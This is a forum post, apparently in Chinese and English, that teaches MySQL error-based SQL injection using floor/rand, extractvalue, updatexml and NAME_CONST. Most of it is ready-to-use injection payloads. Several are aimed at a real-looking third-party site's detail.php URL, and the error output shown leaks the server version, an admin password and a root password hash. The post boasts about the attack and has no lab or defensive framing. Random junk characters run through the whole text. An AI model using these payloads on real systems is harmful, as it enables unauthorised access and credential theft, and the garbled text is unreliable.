|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
: \3 i0 _7 s# o4 T8 _- k) l首先进行正常查询: mysql> select * from article where id = 1;
3 P b' ~5 G, ]; p t+—-+——-+———+" K; n* M# Q& k- _) I) J
| id | title | content |0 ~: d3 m& \' l3 s# ]" X; d
+—-+——-+———+1 N* f2 E, N- o& q' r7 k* {
| 1 | test | do it |% v- K. e+ j* B7 i
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* r1 L; Q' @7 a: H- f% Z" l" lERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。: ?1 f7 |, }+ g* V
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);' T9 V0 L" D2 i o
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
7 P' x6 b+ R! T) fERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue) b# I& O' |8 Y: C
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–8 B* F8 T# r7 ]2 C d. r
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
- n/ \3 W1 o# `+ U3 g
. i! |4 v9 [+ O# u6 |$ m' D再收集: 5 b- ?8 f% N6 z
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 1 u/ D1 \, k# k& h; G
8 L1 P% w% ~. K" `6 j* E5 C4 A" `8 Z! IError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
8 `2 V+ P: x# n$ b- z- j2 K" J2 v+ i F; |0 I
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
1 [: }; R- b$ N) s9 f( o+ M' E# e) @& B: M0 q5 M: y
Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 0 v, o& Z+ d" m k }
2 u5 s z: j% [5 K4 c& L! yMYSQL高版本报错注入技巧-利用NAME_CONST注入1 P- z7 |: D/ c) f; _
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 9 Q: V+ o1 e" O3 O8 d4 j
- `' K- s2 M0 J. d5 ? i+ V- L) V
) p! Y8 l4 S1 d$ A1 }相关信息
9 F. i) G) K. ~8 R* X$ f" y5 P3 t. ^) E6 i- r* K! D+ t t- e1 M9 T! I' e
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
8 q5 ]" Z% V$ q& ~ {
9 C: M0 |* x1 y) v% i' q' aCode:
' V- P& U8 K" q' M: ?NAME_CONST(DATA, VALUE)" T% D; o8 N' q! w1 h
' w6 a3 o) v5 e% n. \Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants. Y$ K8 H8 u) s! c
) ^( Y0 K) u# h( f; b6 e2 p$ YSELECT NAME_CONST('TEST', 1)
9 a* N$ s/ I) w0 d
4 Q/ w& A* K) H4 V" A3 J. c. }% A
0 t( e! V; l, j0 F|---------------|
/ Z3 M Z+ q/ E; f( u| TEST |
' B, j9 q/ q# H# [1 n9 D| |2 W0 s! p4 J8 k" B5 |* F* a
|---------------|
# `9 ]; q/ f8 i, p" M9 \9 {8 K| 1 |5 Z' v* L" L9 ]: o8 ^
| |7 t7 M1 @& m* ^8 g! p
|---------------|( e) z/ ^ @1 `* J
+ D' l8 h( m: n2 a' Z' m! r4 P: y. q
, P+ z. R# N" R4 X8 _
0 ~( o% l/ b' L9 ?
* J/ T+ l) l. z4 l: v. Chttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
9 A: i" D5 L' E* u) cIntro to MySQL Variables& W. c8 K9 m2 z
4 j+ L; q: B4 w$ o. t3 ], _9 hOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
$ _. y7 w* L" [( U- X5 _# F5 E2 y+ X N
Code:6 r' g9 J. w) D) [, ]+ X
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261 ~# H5 h: I) ^& L: ^
& M& V6 |2 _: p5 V
) ]9 ^4 y5 {. h
+ r$ n2 |7 C, L: _* n, i) s o* o
- A+ m3 A5 C8 O' v( u! I: A: Q' W1 {6 q; r2 P7 e# u# g' x% S
Code:
6 b- L* C: M/ Q# L" Z8 X* Sand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
/ M# X* X$ T% B- p% I( r A8 O5 Y( D9 E, t' N; r- t
1 J, w( q: A, m2 ]. K2 N7 \
VAR = Your MySQL variable.$ x" \+ h# b4 C" E' S& \
& N! q3 o9 Q! |
MySQL 5.1.3 Server System Variables
Z2 R/ D7 | k, `; U. {( y% @9 x" M% S7 w5 _, `8 Y
Let's try it out on my site..7 S( b! t, g& V! g% @: {
# g2 k' B r& p7 f! N
Code:
* @/ n& |% X7 f* Jhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--/ c$ k3 ^" C" s2 o+ n1 v
. ~, g- O1 H4 i- \( t, h1 rError uplicate column name '5.0.27-community-nt'
, j- W/ U# s' ~# N: t
! G! Q$ q" l$ v: w5 G. D' U! _# e4 c
5 Q `, ]; N9 Q( v. c9 k: e& g4 m* v! l4 ?' X
/ Y0 c. U4 @: `' y. Y6 q
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again..., g- a0 V0 m: @" P! t+ x+ c) r
' ~+ I0 B, }8 w- P6 `" \# ^0 z
Data Extraction
0 ]! O/ }1 X& ^2 T0 f1 C- c# h9 Q' T- y, Y4 J. P
Code:
' S, `/ W: p7 n% W9 X+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--" Y1 t) `3 x$ ^% B
2 `: X+ Q5 O Y( q- N+ P8 O- Y
% \% l, `( e- T4 |8 d
We should get a duplicate column 1 error...3 O5 o5 c% B( _$ p
3 |, L+ J" q% d3 n, GCode:
7 ^% N7 p# V% c6 D; ]+ o* D+ N3 ]http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--3 F, L4 p) U. X. x& Z( a" d
. R, I3 f9 M l0 t
Error uplicate column name '1
3 y7 F3 Z! e) j5 M E, u/ a2 I( j, K3 t
# Y) @' [; u9 e5 r! s# }. B. H5 y6 h* H
; \. J; b+ Q+ s" e0 }/ g) B+ ^
, i; r$ a g; ]1 Z6 A& v7 S! P- J) M7 a8 k- o- s1 l+ o: P
Now let's get the tables out this bitch..( [1 h+ n7 K4 M' A# o, \( l
2 A# y% I! m0 x/ [Code:- h1 Z4 v. ?# Q
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
3 A2 n. i3 g( ~! r! E2 A# a! y- G6 H' X
* u8 m9 N1 {+ [! F7 c7 P: @, R8 M
Let's see if it works here, if it does, we can go on and finish the job.. X# V% {9 x5 s: ^
4 J, R! o% B9 d* F- h6 }1 y; X4 j
Code:
2 X$ g+ G/ X. D1 P* z- ~! x5 Khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
$ D0 d, Z c! M) B& g( X* G
6 b1 L9 C# r+ D3 c6 I
5 u+ B" U& Z+ {7 {' `Error uplicate column name 'com_admanage9 z" l" d. W# t7 n* O, a: z) z
# n" y3 O6 f2 K# e2 Y; Z0 ~$ v
9 b9 x& h1 g! e
+ v1 }' ]& }' O. j: {" Z' G
9 Q9 ]& x7 E* F/ n5 \( a7 Q; M) X# R4 ^! t8 E. _7 G
Y. j& c6 Q/ j6 s2 TNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
. K) \% l& C/ o" e" u f* W
0 _2 J% [% \6 T% S) ]Let's get the columns out of the user table..
+ t9 [" i7 Y. o0 @. g
6 h# c+ F" A7 u1 Q8 y8 i1 K t' NCode:9 V& M8 ~( u7 Y% w8 z
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--& M0 i0 q# }+ c9 H
3 ?/ C; H( A2 e6 y# T) t- s5 b' [# M/ A/ q+ k1 Q
So mine looks like this, and I get the duplicate column name 'Host'.9 v9 i6 ]6 `1 h
6 }/ ^" J# k" W+ ?7 t+ |; O4 mCode:# J% d! y0 U! K( U, n7 X: o7 j
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--/ }8 z: K2 J6 u
6 T0 T9 W& j X9 u, ^& u
Error uplicate column name 'Host'9 x; ]: c1 D ?: U2 x' h6 A
. O; J; O' j# C% Y
; l/ r& x, m3 D) m% c2 H& U! T# B, Q2 P! a1 r
! r2 P( W" [+ B& _- w* r0 p, l) w5 n3 w$ O
9 n }% t! m A- I1 o" A
Woot, time to finish this bitch off.
' d3 _1 }4 A" I- J; u! ~7 q1 E) V. S2 g% k
Code:3 Q. x' l7 G& ]1 t
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
) [% c: b6 r6 d- r/ O8 b# H
$ U. K% \7 D" s) T; a3 b; M% C! r# D
7 l4 @* E; i( v$ s: p) VSo mine looks like this...
$ F( \$ m" y2 O2 b: C4 D* s. O- \2 L- b& b- v- R
Code:
& h& `9 j) M1 B; ohttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--% p. U; z1 x6 i6 X- A
. {) Y( @# B+ {: g, \- N) xError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'3 p% @7 M1 b0 x
6 r8 D8 p0 U; I4 J$ t) P5 O' M9 E& } K% U0 U; H4 Q+ n g& W
! }. \! {3 s/ o6 N) W8 m7 a7 {
! w4 x- l. r4 s, _6 ^. ?, b; D
0 h$ C+ `6 ^" N$ w/ E8 s, E8 j3 v- B- V) }( S! c
And there we have it, thanks for reading.
) C" I9 W0 T$ t: c& ~. N
9 M" P' \+ X3 y' d5 I% p3 i M |